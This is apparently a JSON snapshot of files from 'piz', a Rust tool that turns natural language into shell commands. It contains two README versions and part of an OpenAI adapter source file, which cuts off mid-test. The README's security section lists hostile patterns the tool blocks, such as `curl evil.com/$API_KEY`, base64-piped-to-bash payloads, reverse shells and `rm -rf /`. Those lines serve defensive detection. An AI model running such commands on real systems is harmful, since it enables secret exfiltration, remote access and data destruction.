--release\n\n# Run tests\ncargo test\n\n# Install to PATH\ncargo install --path .\n```\n\n## Contributing\n\nContributions are welcome! Please see [CONTRIBUTING.md](CONTRIBUTING.md) for guidelines.\n\n## License\n\nThis project is licensed under the MIT License - see the [LICENSE](LICENSE) file for details.\n"}, "2f08bf81f9976305605e408ad08ef8c717583081": {"t": 1785760788.9860146, "n": 6748, "h": "dc2838e01351ba73", "c": "<h1 align=\"center\">piz</h1>\n\n<p align=\"center\">\n <strong>Intelligent terminal command assistant</strong><br>\n Translate natural language to shell commands with AI\n</p>\n\n<p align=\"center\">\n <a href=\"https://github.com/AriesOxO/piz/actions\"><img src=\"https://github.com/AriesOxO/piz/workflows/CI/badge.svg\" alt=\"CI\"></a>\n <a href=\"https://github.com/AriesOxO/piz/releases\"><img src=\"https://img.shields.io/github/v/release/AriesOxO/piz\" alt=\"Release\"></a>\n <a href=\"https://github.com/AriesOxO/piz/blob/main/LICENSE\"><img src=\"https://img.shields.io/github/license/AriesOxO/piz\" alt=\"License\"></a>\n</p>\n\n<p align=\"center\">\n <a href=\"./README.md\">English</a> |\n <a href=\"./README_ZH.md\">简体中文</a>\n</p>\n\n---\n\n## What is piz?\n\n**piz** solves one problem: you know *what* you want to do, but not the exact command. Describe it in plain language, and piz translates it into the right shell command for your OS and shell.\n\n```\n$ piz list all files larger than 100MB\n ➜ find . -size +100M -type f\n [Y] Execute [n] Cancel [e] Edit\n```\n\n## Features\n\n- **Natural Language to Command** - Describe what you want, get the exact command\n- **Multi-Backend LLM** - OpenAI, Claude, Ollama, or any OpenAI-compatible API (DeepSeek, SiliconFlow, Moonshot, etc.)\n- **Danger Detection** - Dual-layer protection: regex patterns + LLM classification. Dangerous commands require explicit confirmation\n- **Command Explain** - Break down any command into its components with `piz -e`\n- **Command Fix** - Auto-diagnose and fix failed commands with `piz fix`\n- **Local Cache** - SQLite cache with TTL, repeated queries return instantly\n- **Multi-Language UI** - Chinese, English, Japanese interface\n- **Cross-Platform** - Windows (PowerShell/cmd), macOS, Linux (bash/zsh)\n\n## Quick Start\n\n### Install\n\n**From source (requires Rust toolchain):**\n\n```bash\ngit clone https://github.com/AriesOxO/piz.git\ncd piz\ncargo build --release\n# Binary at: target/release/piz (or piz.exe on Windows)\n```\n\n**From releases:**\n\nDownload the latest binary from [Releases](https://github.com/AriesOxO/piz/releases).\n\n### Setup\n\nRun any command and the interactive setup wizard will start automatically:\n\n```\n$ piz list files\nNo configuration found. Let's set up piz for the first time.\n\n ⚙ piz configuration wizard\n\n? Select language: 中文 / English / 日本語\n? Select default LLM backend: openai (DeepSeek, Moonshot, SiliconFlow, ...)\n? Select API provider: SiliconFlow (api.siliconflow.cn)\n? API base URL: https://api.siliconflow.cn\n? API key: sk-xxxxx\n? Model name: Qwen/Qwen3-8B\n? Auto-execute safe commands without confirmation? Yes\n\n ✔ Config saved\n```\n\nOr manually: `piz config --init`\n\n## Usage\n\n### Translate natural language\n\n```bash\npiz show disk usage # → df -h\npiz find all rust files modified today # → find . -name \"*.rs\" -mtime 0\npiz compress the src folder # → tar -czf src.tar.gz src/\n```\n\n### Explain a command\n\n```bash\n$ piz -e 'tar -czf archive.tar.gz src/'\n📖 Command explanation:\n\n tar — tape archive tool\n -c — create a new archive\n -z — compress with gzip\n -f — specify output filename\n src/ — directory to archive\n```\n\n### Fix failed commands\n\n```bash\n$ npm install\n→ EACCES: permission denied...\n\n$ piz fix\n🔧 Diagnosis: Permission denied writing to global node_modules\n ➜ sudo npm install\n```\n\n### Other options\n\n```bash\npiz --backend ollama list files # Use specific backend\npiz --no-cache show memory # Skip cache\npiz clear-cache # Clear all cached commands\npiz config --init # Re-run setup wizard\npiz --version # Show version\n```\n\n## Configuration\n\nConfig file: `~/.piz/config.toml`\n\n```toml\ndefault_backend = \"openai\"\ncache_ttl_hours = 168 # Cache TTL (7 days)\nauto_confirm_safe = true # Auto-execute safe commands\nlanguage = \"zh\" # UI language: zh / en / ja\n\n[openai]\napi_key = \"sk-your-key\"\nmodel = \"gpt-4o-mini\"\n# base_url = \"https://api.openai.com\" # Custom for third-party APIs\n\n# [claude]\n# api_key = \"sk-ant-xxx\"\n# model = \"claude-sonnet-4-20250514\"\n# base_url = \"https://api.anthropic.com\"\n\n# [ollama]\n# host = \"http://localhost:11434\"\n# model = \"llama3\"\n```\n\n### Third-Party API Examples\n\n<details>\n<summary>DeepSeek</summary>\n\n```toml\n[openai]\napi_key = \"sk-your-deepseek-key\"\nmodel = \"deepseek-chat\"\nbase_url = \"https://api.deepseek.com\"\n```\n</details>\n\n<details>\n<summary>SiliconFlow</summary>\n\n```toml\n[openai]\napi_key = \"sk-your-key\"\nmodel = \"Qwen/Qwen3-8B\"\nbase_url = \"https://api.siliconflow.cn\"\n```\n</details>\n\n<details>\n<summary>Moonshot</summary>\n\n```toml\n[openai]\napi_key = \"sk-your-key\"\nmodel = \"moonshot-v1-8k\"\nbase_url = \"https://api.moonshot.cn\"\n```\n</details>\n\n## Danger Detection\n\npiz uses dual-layer danger detection to protect you:\n\n| Level | Behavior | Example |\n|-------|----------|---------|\n| **Safe** | Auto-execute (if configured) | `ls`, `df -h`, `git status` |\n| **Warning** | Prompt for confirmation | `sudo apt install`, `chmod 755`, `git push` |\n| **Dangerous** | Red warning + explicit confirmation (cannot skip) | `rm -rf /`, `mkfs`, `DROP TABLE` |\n\nRegex-based detection runs locally (no LLM needed) and catches patterns like `rm -rf /`, `mkfs`, `dd of=/dev/`, `FORMAT C:`, `DROP TABLE`, etc.\n\n## Architecture\n\n```\npiz/\n├── src/\n│ ├── main.rs # Entry point, CLI dispatch, response parsing\n│ ├── cli.rs # clap argument definitions\n│ ├── config.rs # TOML config + interactive setup wizard\n│ ├── context.rs # System context collection (OS, shell, cwd)\n│ ├── i18n.rs # Multi-language translations (zh/en/ja)\n│ ├── llm/\n│ │ ├── mod.rs # LlmBackend trait + factory\n│ │ ├── prompt.rs # System prompt templates\n│ │ ├── openai.rs # OpenAI-compatible adapter\n│ │ ├── claude.rs # Claude adapter\n│ │ └── ollama.rs # Ollama adapter\n│ ├── cache.rs # SQLite cache with SHA256 keys + TTL\n│ ├── danger.rs # Regex-based danger detection\n│ ├── executor.rs # User confirmation + command execution\n│ ├── explain.rs # Command explain mode\n│ ├── fix.rs # Command fix mode\n│ ├── history.rs # Shell history reader\n│ └── ui.rs # Terminal output formatting\n└── tests/\n └── integration.rs # Integration tests\n```\n\n## Building from Source\n\n```bash\n# Prerequisites: Rust 1.70+\ngit clone https://github.com/AriesOxO/piz.git\ncd piz\n\n# Build\ncargo build --release\n\n# Run tests\ncargo test\n\n# Install to PATH\ncargo install --path .\n```\n\n## Contributing\n\nContributions are welcome! Please see [CONTRIBUTING.md](CONTRIBUTING.md) for guidelines.\n\n## License\n\nThis project is licensed under the MIT License - see the [LICENSE](LICENSE) file for details.\n"}}, "README_EN.md": {"9f6d61b742783293d95b348ac1408254df447b0e": {"t": 1785674083.408642, "n": 18283, "h": "9b9dd13c60a311fc", "c": "<h1 align=\"center\">piz</h1>\n\n<p align=\"center\">\n <strong>Intelligent terminal command assistant</strong><br>\n Translate natural language to shell commands with AI\n</p>\n\n<p align=\"center\">\n <a href=\"https://github.com/AriesOxO/piz/actions\"><img src=\"https://github.com/AriesOxO/piz/workflows/CI/badge.svg\" alt=\"CI\"></a>\n <a href=\"https://github.com/AriesOxO/piz/releases\"><img src=\"https://img.shields.io/github/v/release/AriesOxO/piz\" alt=\"Release\"></a>\n <a href=\"https://github.com/AriesOxO/piz/blob/main/LICENSE\"><img src=\"https://img.shields.io/github/license/AriesOxO/piz\" alt=\"License\"></a>\n</p>\n\n<p align=\"center\">\n <a href=\"./README_EN.md\">English</a> |\n <a href=\"./README.md\">简体中文</a>\n</p>\n\n---\n\n<p align=\"center\">\n <img src=\"assets/demo.gif\" alt=\"piz demo\" width=\"800\">\n</p>\n\n## What is piz?\n\n**piz** solves one problem: you know *what* you want to do, but not the exact command. Describe it in plain language, and piz translates it into the right shell command for your OS and shell.\n\n```\n$ piz list all files larger than 100MB\n ➜ find . -size +100M -type f\n [Y] Execute [n] Cancel [e] Edit [r] Regenerate\n```\n\n## Features\n\n- **Natural Language to Command** - Describe what you want, get the exact command\n- **Multi-Backend LLM** - OpenAI, Claude, Gemini, Ollama + 12 OpenAI-compatible providers (DeepSeek, SiliconFlow, OpenRouter, Moonshot, Zhipu/GLM, Qianfan, DashScope, Mistral, Together, Minimax, BytePlus, and more)\n- **Security Hardening** - Three-layer protection: prompt-level refusal for non-command input, injection detection (base64 payloads, env exfiltration, reverse shells, curl config attacks), and regex-based danger classification\n- **Danger Detection** - Dual-layer: regex patterns + LLM classification. Dangerous commands always require explicit confirmation\n- **Command Explain** - Break down any command into its components with `piz -e`\n- **Command Fix** - Auto-diagnose and fix failed commands with `piz fix`, with auto-retry (up to 3 attempts)\n- **Interactive Chat** - Multi-turn chat mode with context (`piz chat`), with `/help`, `/clear`, `/history` commands and persistent history\n- **Multi-Candidate** - Generate multiple command options with `-n` and pick your preferred one\n- **Regenerate** - Not happy with the result? Press `[r]` to skip cache and re-query the LLM\n- **Local Cache** - SQLite cache with TTL + LRU eviction, model isolation (switching models auto-invalidates old cache), repeated queries return instantly\n- **Command Validation** - Auto-sanitizes LLM output artifacts (leading garbage chars), blocks empty/no-op commands, improves compatibility with smaller models\n- **Execution History** - Track all executed commands with `piz history`, searchable\n- **Shell Integration** - `piz init <shell>` generates shell wrapper functions so `cd`/`export`/`source` work correctly in the current shell (bash, zsh, fish, PowerShell), with built-in aliases (`p`, `pf`, `pc`)\n- **Eval Mode** - `--eval` outputs confirmed command for shell wrapper to eval, used by shell integration\n- **Shell Completions** - Generate completions for bash, zsh, fish, and PowerShell\n- **Pipe Mode** - Script-friendly output with `--pipe` for integration with other tools\n- **Multi-Language UI** - Chinese, English interface with localized security messages\n- **Cross-Platform** - Windows (PowerShell/cmd), macOS, Linux (bash/zsh/fish) with non-invasive encoding (no `chcp`/`OutputEncoding` modification)\n- **Interactive Setup** - First-run wizard with provider presets, no manual config editing needed\n- **NO_COLOR Support** - Respects the `NO_COLOR` environment variable\n- **API Resilience** - Automatic retry with exponential backoff for 429/5xx errors\n\n## Quick Start\n\n### Install\n\n**Homebrew (macOS / Linux):**\n\n```bash\nbrew install AriesOxO/tap/piz\n```\n\n**macOS / Linux (one-liner):**\n\n```bash\ncurl -fsSL https://raw.githubusercontent.com/AriesOxO/piz/main/install.sh | bash\n```\n\n**Windows (PowerShell):**\n\n```powershell\niwr -useb https://raw.githubusercontent.com/AriesOxO/piz/main/install.ps1 | iex\n```\n\n**Cargo (any platform):**\n\n```bash\ncargo install piz\n```\n\n**Manual download:**\n\nDownload binaries or `.msi` (Windows) from [Releases](https://github.com/AriesOxO/piz/releases). Linux binaries are statically linked (musl), compatible with any Linux distribution.\n\n| Platform | Downloads |\n|----------|-----------|\n| Windows x86_64 | `.msi` `.zip` |\n| macOS x86_64 | `.tar.gz` |\n| macOS ARM64 (Apple Silicon) | `.tar.gz` |\n| Linux x86_64 (static musl) | `.tar.gz` |\n| Linux ARM64 (static musl) | `.tar.gz` |\n\n### Setup\n\nRun any command and the interactive setup wizard will start automatically:\n\n```\n$ piz list files\nNo configuration found. Let's set up piz for the first time.\n\n ⚙ piz configuration wizard\n\n? Select language: 中文 / English\n? Select default LLM backend:\n > openai (DeepSeek, SiliconFlow, OpenRouter, ...)\n claude\n gemini (Google)\n ollama (local)\n? Select API provider:\n OpenAI / DeepSeek / SiliconFlow / OpenRouter / Moonshot\n Zhipu-GLM / Qianfan / DashScope / Mistral / Together\n Minimax / BytePlus / Custom URL\n? API base URL: https://api.siliconflow.cn\n? API key: sk-xxxxx\n? Model name: Qwen/Qwen3-8B\n? Auto-execute safe commands without confirmation? Yes\n\n ✔ Config saved\n```\n\nOr manually: `piz config --init`\n\n## Usage\n\n### Translate natural language\n\n```bash\npiz show disk usage # → df -h\npiz find all rust files modified today # → find . -name \"*.rs\" -mtime 0\npiz compress the src folder # → tar -czf src.tar.gz src/\n```\n\n### Multi-candidate mode\n\n```bash\n$ piz -n 3 find large files\n? Select a command to execute:\n> 1. find . -size +100M -type f — Find files larger than 100MB\n 2. du -ah . | sort -rh | head -20 — Show top 20 largest files/dirs\n 3. ls -lhRS | head -30 — List files sorted by size descending\n```\n\n### Explain a command\n\n```bash\n$ piz -e 'tar -czf archive.tar.gz src/'\n📖 Command explanation:\n\n tar — tape archive tool\n -c — create a new archive\n -z — compress with gzip\n -f — specify output filename\n src/ — directory to archive\n```\n\n### Fix failed commands\n\n```bash\n$ npm install\n→ EACCES: permission denied...\n\n$ piz fix\n🔧 Diagnosis: Permission denied writing to global node_modules\n - npm install\n + sudo npm install\n```\n\nThe fix command now supports auto-retry: if the fixed command also fails, piz will attempt up to 3 rounds of diagnosis and repair.\n\n### Interactive chat mode\n\n```bash\n$ piz chat\n💬 interactive mode\nType your request, or 'exit'/'quit' to leave.\n\n> list all running docker containers\n ➜ docker ps\n [Y] Execute [n] Cancel [e] Edit\n\n> only show the names\n ➜ docker ps --format '{{.Names}}'\n```\n\nChat mode supports special commands:\n- `/help` — Show available commands\n- `/clear` — Clear conversation history\n- `/history` — View conversation history\n- `/detail` — Toggle inline command explanation on/off\n\n### Execution history\n\n```bash\n$ piz history # Show last 20 executed commands\n$ piz history docker -l 10 # Search for \"docker\" in last 10 entries\n```\n\n### Shell completions\n\n```bash\npiz completions bash > ~/.bash_completion.d/piz # Bash\npiz completions zsh > ~/.zfunc/_piz # Zsh\npiz completions fish > ~/.config/fish/completions/piz.fish # Fish\npiz completions powershell > piz.ps1 # PowerShell\n```\n\n### Shell integration\n\nShell integration enables commands like `cd`, `export`, and `source` to work correctly in your current shell session. Run `piz init <shell>` and add the output to your shell profile:\n\n**Bash / Zsh:**\n\n```bash\n# Add to ~/.bashrc or ~/.zshrc:\neval \"$(piz init bash)\" # or: eval \"$(piz init zsh)\"\n```\n\n**Fish:**\n\n```fish\n# Add to ~/.config/fish/config.fish:\npiz init fish | source\n```\n\n**PowerShell:**\n\n```powershell\n# Add to $PROFILE:\npiz init powershell | Out-String | Invoke-Expression\n```\n\nOnce set up, piz will use `--eval` mode automatically, and commands like `cd`, `export`, `source` will take effect in your current shell.\n\nShell integration also provides built-in aliases for convenience:\n\n| Alias | Command | Description |\n|-------|---------|-------------|\n| `p` | `piz` | Short alias for piz |\n| `pf` | `piz fix` | Quick fix last failed command |\n| `pc` | `piz chat` | Quick enter chat mode |\n\n```bash\np list all rust files # Same as: piz list all rust files\npf # Same as: piz fix\npc # Same as: piz chat\n```\n\n### Pipe mode\n\n```bash\n# Output only the command, no UI — useful for scripting\npiz --pipe list all rust files # → find . -name \"*.rs\"\neval $(echo \"list files\" | piz --pipe) # Execute directly\n```\n\n### Configuration management\n\n```bash\npiz config --init # Run setup wizard\npiz config --show # Show current config (API keys masked)\npiz config --reset # Delete config and start over\n```\n\n### Other options\n\n```bash\npiz --backend ollama list files # Use specific backend\npiz --backend gemini show memory # Use Google Gemini\npiz --no-cache show memory # Skip cache\npiz --verbose list files # Debug: show prompts and LLM responses\npiz -n 3 list files # Generate 3 candidate commands\npiz clear-cache # Clear all cached commands\npiz --eval list files # Eval mode (for shell integration)\npiz --version # Show version\n```\n\n## Update\n\n### Self-update\n\n```bash\npiz update # Interactive: check latest version and upgrade\n```\n\n`piz update` checks GitHub Releases for the latest version. If a new version is available, you can choose between two upgrade methods:\n\n1. **Overwrite install** — replace the current binary in-place\n2. **Uninstall then reinstall** — remove old version first, then install new\n\nBoth methods include automatic rollback on failure.\n\n### Automatic update check\n\npiz checks for updates **automatically in the background** after each run (at most once every 24 hours, with a 5-second timeout so it never blocks). When a newer version is detected, a hint is shown:\n\n```\nℹ piz 0.3.0 is available (current: 0.2.5). Run `piz update` to upgrade.\n```\n\nNo manual configuration is needed — this works out of the box. The check state is stored in `~/.piz/update_state.json`.\n\n### Manual install (specific version)\n\nIf you want to install a specific version, download the binary directly from [GitHub Releases](https://github.com/AriesOxO/piz/releases):\n\n```bash\n# Linux/macOS — replace VERSION and TARGET as needed\ncurl -fsSL https://github.com/AriesOxO/piz/releases/download/vVERSION/piz-TARGET.tar.gz | tar xz\nsudo mv piz /usr/local/bin/\n\n# Windows (PowerShell)\nInvoke-WebRequest -Uri \"https://github.com/AriesOxO/piz/releases/download/vVERSION/piz-x86_64-pc-windows-msvc.zip\" -OutFile piz.zip\nExpand-Archive piz.zip -DestinationPath .\nMove-Item piz.exe \"$env:LOCALAPPDATA\\piz\\piz.exe\"\n```\n\nOr reinstall via the install script:\n\n```bash\n# Linux/macOS\ncurl -fsSL https://raw.githubusercontent.com/AriesOxO/piz/main/install.sh | bash\n\n# Windows (PowerShell)\nirm https://raw.githubusercontent.com/AriesOxO/piz/main/install.ps1 | iex\n```\n\n## Supported Providers\n\n### Native backends\n\n| Backend | Config section | Notes |\n|---------|---------------|-------|\n| **OpenAI** | `[openai]` | Also supports any OpenAI-compatible API via `base_url` |\n| **Claude** | `[claude]` | Anthropic Messages API, custom `base_url` supported |\n| **Gemini** | `[gemini]` | Google Generative AI native API |\n| **Ollama** | `[ollama]` | Local models, no API key needed |\n\n### OpenAI-compatible providers (via `[openai]` with custom `base_url`)\n\n<details>\n<summary>Click to expand all 12 providers</summary>\n\n| Provider | base_url | Default model |\n|----------|----------|---------------|\n| OpenAI | `https://api.openai.com` | gpt-4o-mini |\n| DeepSeek | `https://api.deepseek.com` | deepseek-chat |\n| SiliconFlow | `https://api.siliconflow.cn` | Qwen/Qwen3-8B |\n| OpenRouter | `https://openrouter.ai/api/v1` | auto |\n| Moonshot/Kimi | `https://api.moonshot.cn` | moonshot-v1-8k |\n| Zhipu/GLM | `https://open.bigmodel.cn/api/paas/v4` | glm-4-flash |\n| Qianfan/Baidu | `https://qianfan.baidubce.com/v2` | deepseek-v3 |\n| DashScope/Alibaba | `https://dashscope.aliyuncs.com/compatible-mode/v1` | qwen-plus |\n| Mistral | `https://api.mistral.ai/v1` | mistral-small-latest |\n| Together | `https://api.together.xyz/v1` | Meta-Llama-3-8B |\n| Minimax | `https://api.minimax.io/v1` | MiniMax-M1 |\n| BytePlus | `https://api.byteplus.volcengineapi.com/v1` | doubao-1.5-pro-32k |\n\n</details>\n\n## Configuration\n\nConfig file: `~/.piz/config.toml`\n\n```toml\ndefault_backend = \"openai\"\ncache_ttl_hours = 48 # Cache TTL (2 days)\ncache_max_entries = 1000 # Maximum cache entries (LRU eviction)\nauto_confirm_safe = true # Auto-execute safe commands\nlanguage = \"zh\" # UI language: zh / en\nchat_history_size = 20 # Max chat history messages\n\n[openai]\napi_key = \"sk-your-key\"\nmodel = \"gpt-4o-mini\"\n# base_url = \"https://api.openai.com\"\n\n# [claude]\n# api_key = \"sk-ant-xxx\"\n# model = \"claude-sonnet-4-20250514\"\n\n# [gemini]\n# api_key = \"your-gemini-key\"\n# model = \"gemini-2.5-flash\"\n\n# [ollama]\n# host = \"http://localhost:11434\"\n# model = \"llama3\"\n```\n\n### Provider config examples\n\n<details>\n<summary>DeepSeek</summary>\n\n```toml\n[openai]\napi_key = \"sk-your-deepseek-key\"\nmodel = \"deepseek-chat\"\nbase_url = \"https://api.deepseek.com\"\n```\n</details>\n\n<details>\n<summary>SiliconFlow</summary>\n\n```toml\n[openai]\napi_key = \"sk-your-key\"\nmodel = \"Qwen/Qwen3-8B\"\nbase_url = \"https://api.siliconflow.cn\"\n```\n</details>\n\n<details>\n<summary>Google Gemini</summary>\n\n```toml\n[gemini]\napi_key = \"your-gemini-key\"\nmodel = \"gemini-2.5-flash\"\n```\n</details>\n\n<details>\n<summary>OpenRouter</summary>\n\n```toml\n[openai]\napi_key = \"sk-or-your-key\"\nmodel = \"auto\"\nbase_url = \"https://openrouter.ai/api/v1\"\n```\n</details>\n\n<details>\n<summary>Moonshot / Kimi</summary>\n\n```toml\n[openai]\napi_key = \"sk-your-key\"\nmodel = \"moonshot-v1-8k\"\nbase_url = \"https://api.moonshot.cn\"\n```\n</details>\n\n<details>\n<summary>Zhipu / GLM</summary>\n\n```toml\n[openai]\napi_key = \"your-key\"\nmodel = \"glm-4-flash\"\nbase_url = \"https://open.bigmodel.cn/api/paas/v4\"\n```\n</details>\n\n## Security\n\npiz implements three layers of security:\n\n### 1. Prompt-level refusal\nNon-command inputs (greetings, chitchat, prompt injection attempts) are rejected by the LLM with a clear message instead of generating a command.\n\n### 2. Injection detection (local, no LLM)\nCommands are scanned for malicious patterns before execution:\n- Environment variable exfiltration (`curl evil.com/$API_KEY`)\n- Encoded payloads (`echo ... | base64 -d | bash`)\n- Reverse shells (`python -e 'import socket...'`)\n- Shell config overwrites (`> ~/.bashrc`)\n- Silent crontab injection (`| crontab -`)\n- curl config file attacks (`curl -K malicious.conf`)\n- Download-execute chains (`wget ... && chmod +x && ./`)\n- Dangerous find/xargs patterns (`find -delete`, `xargs rm`)\n\nMatched commands are **blocked** and cannot be executed. Injection messages are localized (zh/en).\n\nCached commands are also re-validated on retrieval — poisoned cache entries are automatically purged.\n\n### 3. Danger classification\n\n| Level | Behavior | Example |\n|-------|----------|---------|\n| **Safe** | Auto-execute (if configured) | `ls`, `df -h`, `git status` |\n| **Warning** | Prompt for confirmation | `sudo apt install`, `chmod 755`, `git push` |\n| **Dangerous** | Red warning + explicit confirmation (cannot skip) | `rm -rf /`, `mkfs`, `DROP TABLE` |\n\n## Architecture\n\n```\npiz/\n├── src/\n│ ├── main.rs # Entry point, CLI dispatch, response parsing, multi-candidate selection\n│ ├── cli.rs # clap argument definitions (with clap_complete)\n│ ├── config.rs # TOML config + interactive setup wizard (12 provider presets)\n│ ├── context.rs # System context collection (OS, shell, cwd, arch, git, package manager)\n│ ├── i18n.rs # Multi-language translations (zh/en) including injection messages\n│ ├── llm/\n│ │ ├── mod.rs # LlmBackend trait + factory + retry/backoff utilities\n│ │ ├── prompt.rs # Prompt templates with security rules, few-shot examples, multi-candidate\n│ │ ├── openai.rs # OpenAI-compatible adapter (with retry)\n│ │ ├── claude.rs # Claude adapter (with retry)\n│ │ ├── gemini.rs # Google Gemini adapter (with retry)\n│ │ └── ollama.rs # Ollama adapter (with retry)\n│ ├── cache.rs # SQLite cache with SHA256 keys, TTL, LRU eviction + execution history\n│ ├── danger.rs # Regex danger detection + injection scanner (InjectionReason enum)\n│ ├── executor.rs # User confirmation + command execution\n│ ├── explain.rs # Command explain mode\n│ ├── fix.rs # Command fix mode + auto-fix retry loop\n│ ├── chat.rs # Interactive chat mode with slash commands + persistent history\n│ ├── history.rs # Shell history reader\n│ ├── shell_init.rs # Shell integration code generation (bash/zsh/fish/PowerShell) + built-in aliases\n│ └── ui.rs # Terminal output formatting (spinner, diff, colors)\n├── tests/\n│ ├── integration.rs # Integration tests\n│ ├── llm_e2e.rs # LLM end-to-end tests (require API key, ignored by default)\n│ └── windows_shells.rs # Cross-shell tests (cmd/PowerShell/bash)\n├── homebrew/\n│ └── piz.rb # Homebrew formula template (auto-rendered by release workflow)\n├── install.sh # macOS/Linux installer\n└── install.ps1 # Windows installer\n```\n\n## Building from Source\n\n```bash\n# Prerequisites: Rust 1.70+\ngit clone https://github.com/AriesOxO/piz.git\ncd piz\n\ncargo build --release # Build\ncargo test # Run tests (437)\ncargo install --path . # Install to PATH\n```\n\n## Environment Variables\n\n| Variable | Description |\n|----------|-------------|\n| `NO_COLOR` | Set to any value to disable colored output |\n\n## Contributing\n\nContributions are welcome! Please see [CONTRIBUTING.md](CONTRIBUTING_EN.md) for guidelines.\n\n## License\n\nThis project is licensed under the MIT License - see the [LICENSE](LICENSE) file for details.\n\n## Star History\n\n[](https://star-history.com/#AriesOxO/piz&Date)\n"}}, "src/llm/openai.rs": {"9f6d61b742783293d95b348ac1408254df447b0e": {"t": 1785746224.0572267, "n": 8480, "h": "6a93f9e3da23342e", "c": "use anyhow::{Context, Result};\nuse async_trait::async_trait;\nuse serde_json::json;\n\nuse super::{LlmBackend, Message};\nuse crate::config::OpenAiConfig;\n\npub struct OpenAiBackend {\n config: OpenAiConfig,\n client: reqwest::Client,\n}\n\nimpl OpenAiBackend {\n pub fn new(config: OpenAiConfig) -> Self {\n Self {\n config,\n client: super::build_http_client(),\n }\n }\n\n fn build_url(&self) -> String {\n let base_url = self\n .config\n .base_url\n .as_deref()\n .unwrap_or(\"https://api.openai.com\");\n let normalized = base_url.trim_end_matches('/');\n let lower = normalized.to_ascii_lowercase();\n\n if lower.ends_with(\"/chat/completions\") {\n return normalized.to_string();\n }\n\n if lower.ends_with(\"/v1\") {\n return format!(\"{}/chat/completions\", normalized);\n }\n\n format!(\"{}/v1/chat/completions\", normalized)\n }\n\n fn should_omit_temperature_by_default(&self) -> bool {\n let model = self.config.model.trim().to_ascii_lowercase();\n model.contains(\"kimi-k2.5\")\n }\n\n fn build_body(\n &self,\n messages: Vec<serde_json::Value>,\n include_temperature: bool,\n ) -> serde_json::Value {\n let mut map = serde_json::Map::new();\n map.insert(\"model\".to_string(), json!(self.config.model));\n map.insert(\"messages\".to_string(), json!(messages));\n map.insert(\"max_tokens\".to_string(), json!(super::DEFAULT_MAX_TOKENS));\n map.insert(\n \"response_format\".to_string(),\n json!({\"type\": \"json_object\"}),\n );\n if include_temperature {\n map.insert(\"temperature\".to_string(), json!(super::DEFAULT_TEMPERATURE));\n }\n serde_json::Value::Object(map)\n }\n\n fn remove_top_level_field(body: &mut serde_json::Value, key: &str) -> bool {\n match body {\n serde_json::Value::Object(map) => map.remove(key).is_some(),\n _ => false,\n }\n }\n\n fn should_retry_without_temperature(err: &anyhow::Error) -> bool {\n let msg = err.to_string().to_lowercase();\n if !msg.contains(\"temperature\") {\n return false;\n }\n\n msg.contains(\"api error (400)\")\n || msg.contains(\"unsupported\")\n || msg.contains(\"not support\")\n || msg.contains(\"not allowed\")\n || msg.contains(\"unknown parameter\")\n || msg.contains(\"invalid parameter\")\n || msg.contains(\"invalid_request_error\")\n || msg.contains(\"extra fields not permitted\")\n || msg.contains(\"不支持\")\n || msg.contains(\"未知参数\")\n || msg.contains(\"无效参数\")\n }\n\n async fn send_request_with_compat(&self, mut body: serde_json::Value) -> Result<String> {\n let first_err = match self.send_request(body.clone()).await {\n Ok(resp) => return Ok(resp),\n Err(err) => err,\n };\n\n if Self::should_retry_without_temperature(&first_err)\n && Self::remove_top_level_field(&mut body, \"temperature\")\n {\n return self.send_request(body).await.with_context(|| {\n format!(\n \"Compatibility retry without `temperature` failed after initial error: {}\",\n first_err\n )\n });\n }\n\n Err(first_err)\n }\n\n async fn send_request(&self, body: serde_json::Value) -> Result<String> {\n let url = self.build_url();\n let mut last_err = None;\n\n for attempt in 0..super::MAX_RETRIES {\n let resp = self\n .client\n .post(&url)\n .header(\"Authorization\", format!(\"Bearer {}\", self.config.api_key))\n .header(\"Content-Type\", \"application/json\")\n .json(&body)\n .send()\n .await\n .context(\"Failed to send request to OpenAI\")?;\n\n let status = resp.status();\n let text = resp\n .text()\n .await\n .context(\"Failed to read OpenAI response\")?;\n\n if status.is_success() {\n let parsed: serde_json::Value =\n serde_json::from_str(&text).context(\"Failed to parse OpenAI response\")?;\n return parsed[\"choices\"][0][\"message\"][\"content\"]\n .as_str()\n .map(|s| s.to_string())\n .ok_or_else(|| anyhow::anyhow!(\"Unexpected OpenAI response format\"));\n }\n\n match super::handle_error_response(status, &text, attempt, \"OpenAI\") {\n Ok(msg) => {\n last_err = Some(msg);\n super::backoff_delay(attempt).await;\n continue;\n }\n Err(e) => return Err(e),\n }\n }\n\n Err(super::bail_last_err(last_err, \"OpenAI request failed\"))\n }\n}\n\n#[async_trait]\nimpl LlmBackend for OpenAiBackend {\n async fn chat(&self, system: &str, user: &str) -> Result<String> {\n let messages = vec![\n json!({\"role\": \"system\", \"content\": system}),\n json!({\"role\": \"user\", \"content\": user}),\n ];\n let body = self.build_body(messages, !self.should_omit_temperature_by_default());\n self.send_request_with_compat(body).await\n }\n\n async fn chat_with_history(&self, system: &str, messages: &[Message]) -> Result<String> {\n let mut msgs = vec![json!({\"role\": \"system\", \"content\": system})];\n for m in messages {\n msgs.push(json!({\"role\": m.role, \"content\": m.content}));\n }\n let body = self.build_body(msgs, !self.should_omit_temperature_by_default());\n self.send_request_with_compat(body).await\n }\n}\n\n#[cfg(test)]\nmod tests {\n use super::OpenAiBackend;\n use crate::config::OpenAiConfig;\n use serde_json::json;\n\n fn backend(base_url: Option<&str>, model: &str) -> OpenAiBackend {\n OpenAiBackend::new(OpenAiConfig {\n api_key: \"sk-test\".to_string(),\n model: model.to_string(),\n base_url: base_url.map(ToString::to_string),\n })\n }\n\n #[test]\n fn build_url_appends_v1_for_plain_base_url() {\n let b = backend(Some(\"https://api.deepseek.com\"), \"deepseek-chat\");\n assert_eq!(\n b.build_url(),\n \"https://api.deepseek.com/v1/chat/completions\"\n );\n }\n\n #[test]\n fn build_url_avoids_duplicate_v1_when_present() {\n let b = backend(Some(\"https://openrouter.ai/api/v1\"), \"auto\");\n assert_eq!(\n b.build_url(),\n \"https://openrouter.ai/api/v1/chat/completions\"\n );\n }\n\n #[test]\n fn build_url_accepts_full_chat_completions_url() {\n let b = backend(\n Some(\"https://example.com/custom/v1/chat/completions\"),\n \"custom-model\",\n );\n assert_eq!(\n b.build_url(),\n \"https://example.com/custom/v1/chat/completions\"\n );\n }\n\n #[test]\n fn kimi_k25_model_omits_temperature_by_default() {\n let b = backend(Some(\"https://api.moonshot.cn\"), \"kimi-k2.5\");\n assert!(b.should_omit_temperature_by_default());\n }\n\n #[test]\n fn kimi_k2_model_keeps_temperature_by_default() {\n let b = backend(Some(\"https://api.moonshot.cn\"), \"kimi-k2-0711-preview\");\n 